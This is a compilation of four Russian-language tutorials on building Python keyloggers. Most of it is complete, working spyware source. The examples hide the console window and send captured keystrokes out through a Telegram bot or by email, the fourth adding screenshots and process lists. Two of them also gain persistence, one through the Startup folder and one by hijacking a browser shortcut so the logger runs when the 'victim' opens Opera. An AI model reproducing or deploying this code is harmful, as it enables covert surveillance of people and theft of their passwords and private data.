Так же просто, как пирог: создание простого кейлоггера на Python
Эта небольшая статья покажет вам, как быстро и легко создать небольшой и очень простой кейлоггер в Python. Этот кейлоггер будет состоять из восьми строк кода-но он работает!
Для нашего кейлоггера мы будем использовать библиотеку python под названием pynput (вы можете найти ее здесь: https://github.com/moses-palmer/pynput). установите его с помощью pip package manager.
Создайте файл, назовите его кейлоггер.pyw, запустите любой текстовый редактор — и давайте начнем создавать кейлоггер.
from pynput.keyboard import Key, Listener
import logging
logdir = «»
logging.basicConfig(filename = (logdir»logfile.txt»),level = logging.DEBUG, format = ‘%(asctime)s : %(message)s’)
def keypress(Key):
logging.info(str(Key))
with Listener(on_press = keypress) as listener:
listener.join()
Это все. Всего восемь строк. Вот для чего предназначена каждая строка:
Первый — это импорт пакетов (в нашем случае-pynput) и ведение журнала, так что каждая клавиша будет регистрироваться при нажатии.
Далее нам нужен каталог ведения журнала, который в данном случае установлен пустым (но вы можете указать свой собственный), поэтому он находится в том же каталоге, что и скрипт.
Следующая строка посвящена конфигурациям ведения журнала, в которых код не требует пояснений. Метод basicConfig () takes имеет три параметра, один из которых-filename. После этого у нас есть метод прослушивания нажатия клавиши – он будет регистрировать соответствующую клавишу после того, как она была нажата. Таким образом, каждое нажатие клавиши будет регистрироваться.
Как вы, наверное, заметили, мы сохранили исходный файл с помощью a .расширение pyw, а не .py one. Причина в том, что в этом случае кейлоггер может работать в фоновом режиме, потому что код внутри .pyw можно запустить без создания консольного окна. Просто запустите код, нажмите несколько клавиш случайным образом и убедитесь, что все эти клавиши вошли в указанный вами файл. Это означает, что вы только что создали кейлоггер на Python, состоящий из 8 строк кода!
Дата публикации: 2019-04-10
Важно! Установка средств компьютерного мониторинга на компьютеры, которыми вы не владеете или не имеете разрешения на мониторинг, может нарушать местное, государственное или федеральное законодательство.
Статья Автоматизированный клавиатурный шпион на Python
Данная тема не раз поднималась на форуме, но. как тут не опубликовать свои проекты. Работал над этой темой достаточно не долго, но фокус в том, что это каркас того, что можно модифицировать. Проще говоря используя этот код вы можете добавить свои фичу. А теперь возвращаемся. К чему это все? Многие могут догадаться по заголовку, но я все равно напомню, что здесь мы будем писать свой keylogger с улучшенной скрытностью. Начнем.
Шпионим за клавиатурой
Практики без теории не бывает, поэтому вспомним, что такое keylogger:
Keylogger — вредоносное ПО фиксирующее действия пользователя. В частности движение мыши и вводимый текст с клавиатуры.
Чем же мой шпион отличается от других? Все очень просто, большинство если не все программы, связанные с этой темы (я имею в виду самописные) с языком Python работают в постоянном режиме и без кнопки «Выключить». Проще говоря программа висит в диспетчере задач постоянно, даже если ее уже не используют. Еще одно отличие в том, что я постарался отправлять данные себе в личные сообщения. Так как другие аналоги почему то этого не могут. Сразу скажу что разработка завершена на 50%, поэтому полный результат с программой-создателем вы увидите на моем Github. А пока, что я поделюсь знаниями об этом с вами. Приступаем к написанию.
Мне нужен этот код
Наша работа будет происходить как всегда на PyCharm. Хотел бы осведомить вас перед началом. Данная IDE при создании проекта помещает все модули, что вы используете в \venv\Lib\site-packages. То есть обычная команда pip install модуль вам не поможет. Так же при попытке запуска чужого кода я столкнулся с проблемой установки модулей. Тот же pyHook ставиться достаточно сложно, поэтому я хотел бы показать то, как ставить сторонние модули. Для этого ищем нужный пакет на
Ссылка скрыта от гостей
и скачиваем его. Расположение берем удобное для вас и переходим при помощи команды cd в консоли на папку где лежит скачанный файл. Далее устанавливаем распаковщик командой:
pip install wheel
И распаковываем наш модуль:
wheel unpack имя.whl
Дальше полученную папку перемещаем в нужное место. Если ваша IDE PyCharm, то повторюсь вам нужно расположить результат в данном пути, что находится в папке вашего проекта: \venv\Lib\site-packages. Если используется стандартная среда разработки, то модуль помещать следует в путь, находящийся в корневой папки Python: \Lib\site-packages. Объясняю это все, чтобы облегчить вашу дальнейшую разработку. И только теперь мы приступаем к написанию нашей программы. Стартуем как всегда с import:
import logging.config from pynput.keyboard import Key, Listener import logging import telebot import os import sys import shutil
Далее создаем каркас при помощи парочки строк кода:
bot = telebot.TeleBot("токен") keygen = "system.txt" os.getcwd() os.chdir(r"ваш_путь ") # Ну или можно короче: logging.basicConfig(filename=keygen, level=logging.DEBUG, format="%(asctime)s:%(message)s") logger = logging.getLogger() # Записывает данные в журнал l = logging.StreamHandler() logging.FileHandler(keygen) # Файл для записи l.setLevel(logging.DEBUG) # Обозначает уровень работы format = logging.Formatter("%(asctime)s:%(message)s") # Задает формат записи l.setFormatter(format) logger.addHandler(l) # Начинает запись
Займемся отправкой данных нам в личные сообщения Telegram:
@bot.message_handler(commands=["start"]) def start_message(message): logging.disable(level=logging.CRITICAL) # Прекращает запись shutil.copyfile(r"ваш_путь\system.txt", r"ваш_путь\logfile.txt") # Копирует файлы file = open("ваш_путь\logfile.txt", "rb") bot.send_document(message.chat.id, file) # Отправляет данные и закрывает все file.close() os.remove("ваш_путь\logfile.txt") # Удалеяет и останавливает сеанс bot.stop_polling() bot.polling()
Осталось зафиксировать нажатие клавиш при помощи циклов:
def keypress(Key): logging.info(str(Key)) with Listener(on_press=keypress) as listener: listener.join()
Теперь можно отдохнуть тк данный код завершен полностью.
Вывод
В данной теме я попытался максимально понятно и доступно рассказать о своей разработке на языке Python. Полные труды будут выложены в другом месте, поэтому остается только оставить полный код программы для вашей доработки и изучения.
import logging.config from pynput.keyboard import Key, Listener import logging import telebot import os import sys import shutil bot = telebot.TeleBot("токен") keygen = "system.txt" os.getcwd() os.chdir(r"ваш_путь ") # Замена: logging.basicConfig(filename=keygen, level=logging.DEBUG, format="%(asctime)s:%(message)s") logger = logging.getLogger() l = logging.StreamHandler() logging.FileHandler(keygen) l.setLevel(logging.DEBUG) format = logging.Formatter("%(asctime)s:%(message)s") l.setFormatter(format) logger.addHandler(l) @bot.message_handler(commands=["start"]) def start_message(message): logging.disable(level=logging.CRITICAL) shutil.copyfile(r"ваш_путь\system.txt", r"ваш_путь\logfile.txt") file = open("ваш_путь\logfile.txt", "rb") bot.send_document(message.chat.id, file) file.close() os.remove("ваш_путь\logfile.txt") bot.stop_polling() bot.polling() def keypress(Key): logging.info(str(Key)) with Listener(on_press=keypress) as listener: listener.join()
Простой кейлоггер на Python
Здравствуйте, с вами снова QUAZAR. Сегодня я покажу как создать простой кейлоггер на Python. Разумеется данный клавиатурный шпион не может соперничать с такими гигантами как Elite Keylogger, но несмотря на это ему можно найти свое применение.
Подробно о том, что такое кейлоггер и о видах кейлоггеров, вы можете прочитать в статье «Что такое кейлоггер«. Чтобы найти дополнительные материалы по теме используйте поиск по сайту, который находится в верхнем правом углу. Просто впишите слово «кейлоггер» или «клавиатурный шпион».
Простой кейлоггер на Python
Для создания кейлоггера нам потребуется:
- Операционная система: Windows или MacOs (также можно использовать любой Linux, но я лично не пробовал)
- Установленный на целевой машине Python, а также специальные библиотеки.
Все ссылки на бесплатное ПО будут перечислены ниже.
Данный материал носит информационный характер. Изложенная в статье информация предоставлена исключительно в ознакомительных целях. Ни редакция сайта www.spy-soft.net, ни автор публикации не несут никакой ответственности за любой вред нанесенный материалом этой статьи.
Создание простого кейлоггера на Python
Для начала необходимо скачать и установить Python.

После установки Python вам необходимо установить модули «pyHook» и «pywin32». На этом сайте вы найдете 32- и 64-битные версии для Windows и других ОС. Скачайте «PYhook» и «pyWin32» в соответствии с установленной вами версией Python и Windows (32 бит или 64 бит).

После загрузки установите и откройте меню IDLE (Python GUI) из меню «Пуск».

Зайдите в меню «Файл» и нажмите на пункте «Новый Файл». После чего вставьте код кейлоггера:
#Name: QUAZAR
#Website : www.spy-soft.net
import pyHook , pythoncom , sys , logging
file_log = ‘C:keyloggerlog.txt’
def OnKeyboardEvent ( event ) :
logging . basicConfig ( filename = file_log , level = logging . DEBUG , format = ‘%(message)s’ )
chr ( event . Ascii )
logging . log ( 10 , chr ( event . Ascii ) )
return True
hooks_manager = pyHook . HookManager ( )
hooks_manager . KeyDown = OnKeyboardEvent
hooks_manager . HookKeyboard ( )
pythoncom . PumpMessages ( )
И сохраните его назвав файл Keylogger.pyw. Только не сохраняйте файл в корневом каталоге C: где для копирования и удаления файлов нужны права администратора. Создайте новую папку на диске C: или в другом месте, где вам не нужны права администратора для копирования файлов и сохраните Keylogger.pyw там.
В качестве выходного файла отчета «file_log =« C:keyloggerlog.txt » вы можете выбрать любое место, но лучше конечно, какое-то скрытое место на жестком диске. В этом примере я буду сохранять файл отчета на диск в корневой каталог C:. Ведь мне нечего скрывать.
Автоматический запуск кейлоггера на Python
Кейлоггер готов. Теперь надо сделать так чтобы кейлоггер запускался скрыто от пользователя и автоматически с загрузкой Windows. Реализовать это можно по разному. Попробуем сделать с помощью bat-файла привязав запуск кейлоггера к какой-нибудь программе или прописав в автозагрузку.
Для начала создайте bat-файл. Скопируйте и вставьте в блокнот следующий код:
: : Name : QUAZAR
: : Website : www . spy — soft . net
start «» «C:keyloggerkeylogger.pyw»
start «» «C:Program FilesOperalauncher.exe»
В первой строке необходимо вписать путь к файлу keylogger.pyw (в моем случае «C:keylogger.pyw»). Во второй строке вы должны ввести путь к программе, который обычно использует пользователь (в моем случае — браузер Opera).
После редактирования сохраните файл в расширении .bat (в моем случае logger.bat) в каком-нибудь скрытом месте на компьютере (в моем случае в «C:keylogger.bat»).
Теперь идем на рабочий стол и выбираем ярлык часто используемой программы (в моем случае — это браузер Opera). Правым кликом мышки вызываем контекстное меню и заходим в свойства ярлыка. В поле «Объект» вводим путь к бат-файлу кейлоггера «C:keyloggerlogger.bat».

После внесения изменений изменится и иконка ярлыка. Но это легко решается на вкладке свойстве (смотрите скрин выше).
Теперь, когда жертва откроет браузер Opera, автоматически запустится бат-файл, т.е. наш кейлоггер. С этого момента все нажатия на клавиатуре будут сохраняться в файл keyloggerlog.txt.
Для остановки работы кейлоггера зайдите в диспетчер задач и прибейте процесс.
Данный метод имеет одно «но». Каждый раз при запуске кейлоггера будет появляться окно командной строки. У людей далеких от компьютера это не вызовет подозрений, а вот продвинутый пользователь может понять в чем здесь дело. Скрыть окно командной строки можно с помощью конвертера bat в exe.
На этом все. Теперь вы знаете, как создать простейший кейлоггер на Python, который при желании можно доработать еще лучше.
Статья Python для новичка. Keylogger, который ты не найдешь в сети
Знаю, что тема заезжена, но тем не менее все, что можно найти в сети по запросу «логгер на питон» — это стандартный код библиотеки, которая взаимодействует с api windows и перехватывает нажатия клавиш. В свое время я смотрел xcode на тубе и его реализация достаточно интересна и познавательна (включая весь курс). Логи клавиатуры могут быть полезны не только злоумышленникам, но и обычным IT-специалистам, которые не в курсе, что же такое там нажимают юзвери, что ломает программу — заставляя ее работать не так, как надо. Средство — такое себе, но имеем то, что имеем.
Дисклеймер: Все данные, предоставленные в данной статье, взяты из открытых источников, не призывают к действию и являются только лишь данными для ознакомления, и изучения механизмов используемых технологий.
Проблемы, которые могут возникать — это то, что обычная библиотека pynput , которую я буду юзать, записывает логи на той раскладке, на которой был запущен скрипт. Если менять раскладку в процессе — это не всегда срабатывает (особенно, если начать отправлять лог по почте). Еще один пункт это то, что просто записывать нажатия недостаточно — надо добавить что-нибудь поинтереснее. Поэтому в этом скрипте я буду :
1. Собирать лог нажатий опрашивая раскладку клавы
2. Собирать информацию о запущенных процессах на тачке
3. Снимать скрин экрана
4. Отправлять все это добро на нашу почту ( которая будет захардкожена в скрипте и да, это вариант не очень, но сильно париться на счет левой почты не буду, пофиг )
Да, и хочу заметить — что супер-мега логгеры на питоне не пишутся. Если хотите разобраться, как работает api винды и т.д. — надо выбрать как минимум Си. Будет интереснее и незаметнее. Хотя. все зависит от вашей изощренности и квалификации. Как то так )
import os import threading import getpass import platform from winreg import * import datetime import pynput.keyboard import ctypes import socket import subprocess from PIL import ImageGrab import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.application import MIMEApplication
Пожалуй, тут все ясно. smtp — для почты, pyinput — делает основную работу логирования, ImageGrab — умеет делать скрины, subprocess — может получать разную информацию о системе.
Ловим раскладку
Для того, чтобы исправить траблы с раскладкой, я буду использовать библиотеку ctypes. Ctypes — библиотека внешних функций, которая предоставляет C-совместимые типы данных и позволяет вызывать функции из DLL или разделяемых библиотек. Её можно использовать для обёртки этих библиотек в чистый Python.
ru = ['й', 'ц', 'у', 'к', 'е', 'н', 'г', 'ш', 'щ', 'з', 'х','ъ', 'ф', 'ы', 'в', 'а', 'п', 'р', 'о', 'л', 'д', 'ж', 'э', 'я', 'ч', 'с', 'м', 'и', 'т', 'ь', 'б', 'ю' ] en = ['q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', '[',']', 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', ';', "'", 'z', 'x', 'c', 'v', 'b', 'n', 'm', ',', '.' ] class Keylogger: def __init__(self): # таймер sec self.interval = 3600 self.email = 'mail' self.password = 'pwd' self.username = getpass.getuser() self.hostname = socket.gethostname() self.os_info = platform.platform() self.ip_config = self.check_task() self.log = 'Список процессов : \n' + self.ip_config + '\nОС : \n' + self.os_info + \ '\n\nПользователь/имя ПК : \n' + self.username + '/' + self.hostname self.key_array = ['', '', '', '', '', '', '', '', '', '' ] def catch_keyboard_layout(self): try: user32 = ctypes.WinDLL('user32', use_last_error=True) curr_window = user32.GetForegroundWindow() thread_id = user32.GetWindowThreadProcessId(curr_window, 0) key_lang_id = user32.GetKeyboardLayout(thread_id) lang_id = key_lang_id & (2 ** 16 - 1) lang_id_hex = hex(lang_id) if lang_id_hex == '0x409': return 'EN' if lang_id_hex == '0x419': return 'RU' except: pass
В методе __init__ надо заменить клавиши Numpad на адекватные цифры ( = 0) self .interval — интервал в секундах между сообщениями на мыло self . log — в каждом заголовке сообщения будет добавлять более/менее полезную информацию .
Функции логирования
Основная функция logging опрашивает раскладку, ловит нажатия и нормализует некоторые символы. Как только увидим флаг ‘RU’ — просто сопоставляем индексы из наших списков ru и en. В append_to_log создаём переменную, значение которой и отправим на почту.
def append_to_log(self, string): self.log = self.log + string def logging(self, key): try: current_key = str(key.char) lang = self.catch_keyboard_layout() if key.char == None: current_key = '<>'.format(key) if current_key in self.key_array: search_index = self.key_array.index(current_key) current_key = str(search_index) print(current_key) if lang == 'RU': for i in en: if current_key == i: current_key = ru[en.index(i)] except AttributeError: if key == key.space: current_key = ' ' else: current_key = ' ' + str(key) + ' ' self.append_to_log(current_key)
Отправка логов на почту
Итак, формируем сообщение в send_mail и отправляем через report , обнуляя self . log . После этого в потоке запускаем таймер с нашей переменной self . interval . Как только поток досчитает до нужного интервала, то снова выполниться self . report . Такая вот реализация простого таймера:
def report(self): self.screen() self.send_mail(self.email, self.password, '\n\n' + self.log) self.log = '' os.remove('screen.jpg') timer = threading.Timer(self.interval, self.report) timer.start() def send_mail(self, email, password, message): try: date = str(datetime.datetime.now())[:19] msg = MIMEMultipart() msg['Subject'] = 'Logged ' + date msg['From'] = email part = MIMEText(message) msg.attach(part) part = MIMEApplication(open('screen.jpg', 'rb').read()) part.add_header('Content-Disposition', 'attachment', filename='screen.jpg') msg.attach(part) server = smtplib.SMTP('smtp.mail.ru', 25) server.ehlo() server.starttls() server.login(email, password) server.sendmail(msg['From'], [email], msg.as_string()) except: pass
Остальные плюшки
Делаем скриншот, ловим тасклист и добавим в автозагрузку на всякий случай.
def screen(self): snapshot = ImageGrab.grab() save_path = os.path.dirname(os.path.realpath(__file__)) + r'\screen.jpg' snapshot.save(save_path) def check_task(self): command = 'tasklist' try: result = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True) return result.decode('cp866') except subprocess.CalledProcessError: pass def add_start_up(self, file_path=""): try: if file_path == "": file_path = os.path.dirname(os.path.realpath(__file__)) bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % self.username with open(bat_path + '\\' + "autorun.bat", "w+") as bat_file: bat_file.write('@echo off\n' + 'cd %s\n' % file_path + 'start keylogger.py\n' + 'exit') # Путь в реестре key_my = OpenKey(HKEY_CURRENT_USER, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, KEY_ALL_ACCESS) except: pass def start(self): keyboard_listener = pynput.keyboard.Listener(on_press=self.logging) self.add_start_up() with keyboard_listener: # включить рассылку self.report() keyboard_listener.join() if __name__ == '__main__': logger = Keylogger() logger.start()
Сам keyboard.Listener запускается в методе start()
Не допускаю, что это может потребоваться в каких-то «злых» целях. Может сама идея может быть полезна для администрирования или еще чего-то интересного. Смотрите сами.
Также открыт для сообщений в лс — пишите что-нибудь интересно — полезное или идеи, на которые можно было бы создать интересные темы, предложения . Ниже прилагаю скрипт целиком:
import os import threading import getpass import platform from winreg import * import datetime import pynput.keyboard import ctypes import socket import subprocess from PIL import ImageGrab import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.application import MIMEApplication ru = ['й', 'ц', 'у', 'к', 'е', 'н', 'г', 'ш', 'щ', 'з', 'х','ъ', 'ф', 'ы', 'в', 'а', 'п', 'р', 'о', 'л', 'д', 'ж', 'э', 'я', 'ч', 'с', 'м', 'и', 'т', 'ь', 'б', 'ю' ] en = ['q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', '[',']', 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', ';', "'", 'z', 'x', 'c', 'v', 'b', 'n', 'm', ',', '.' ] class Keylogger: def __init__(self): # таймер sec self.interval = 3600 self.email = 'mail' self.password = 'pwd' self.username = getpass.getuser() self.hostname = socket.gethostname() self.os_info = platform.platform() self.ip_config = self.check_task() self.log = 'Список процессов : \n' + self.ip_config + '\nОС : \n' + self.os_info + \ '\n\nПользователь/имя ПК : \n' + self.username + '/' + self.hostname self.key_array = ['', '', '', '', '', '', '', '', '', '' ] def catch_keyboard_layout(self): try: user32 = ctypes.WinDLL('user32', use_last_error=True) curr_window = user32.GetForegroundWindow() thread_id = user32.GetWindowThreadProcessId(curr_window, 0) key_lang_id = user32.GetKeyboardLayout(thread_id) lang_id = key_lang_id & (2 ** 16 - 1) lang_id_hex = hex(lang_id) if lang_id_hex == '0x409': return 'EN' if lang_id_hex == '0x419': return 'RU' except: pass def append_to_log(self, string): self.log = self.log + string def logging(self, key): try: current_key = str(key.char) lang = self.catch_keyboard_layout() if key.char == None: current_key = '<>'.format(key) if current_key in self.key_array: search_index = self.key_array.index(current_key) current_key = str(search_index) print(current_key) if lang == 'RU': for i in en: if current_key == i: current_key = ru[en.index(i)] except AttributeError: if key == key.space: current_key = ' ' else: current_key = ' ' + str(key) + ' ' self.append_to_log(current_key) def report(self): self.screen() self.send_mail(self.email, self.password, '\n\n' + self.log) self.log = '' os.remove('screen.jpg') timer = threading.Timer(self.interval, self.report) timer.start() def send_mail(self, email, password, message): try: date = str(datetime.datetime.now())[:19] msg = MIMEMultipart() msg['Subject'] = 'Logged ' + date msg['From'] = email part = MIMEText(message) msg.attach(part) part = MIMEApplication(open('screen.jpg', 'rb').read()) part.add_header('Content-Disposition', 'attachment', filename='screen.jpg') msg.attach(part) server = smtplib.SMTP('smtp.mail.ru', 25) server.ehlo() server.starttls() server.login(email, password) server.sendmail(msg['From'], [email], msg.as_string()) except: pass def screen(self): snapshot = ImageGrab.grab() save_path = os.path.dirname(os.path.realpath(__file__)) + r'\screen.jpg' snapshot.save(save_path) def check_task(self): command = 'tasklist' try: result = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True) return result.decode('cp866') except subprocess.CalledProcessError: pass def add_start_up(self, file_path=""): try: if file_path == "": file_path = os.path.dirname(os.path.realpath(__file__)) bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % self.username with open(bat_path + '\\' + "autorun.bat", "w+") as bat_file: bat_file.write('@echo off\n' + 'cd %s\n' % file_path + 'start keylogger.exe\n' + 'exit') # Путь в реестре key_my = OpenKey(HKEY_CURRENT_USER, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, KEY_ALL_ACCESS) except: pass def start(self): keyboard_listener = pynput.keyboard.Listener(on_press=self.logging) self.add_start_up() with keyboard_listener: # включить рассылку self.report() keyboard_listener.join() if __name__ == '__main__': logger = Keylogger() logger.start()
Спасибо за внимание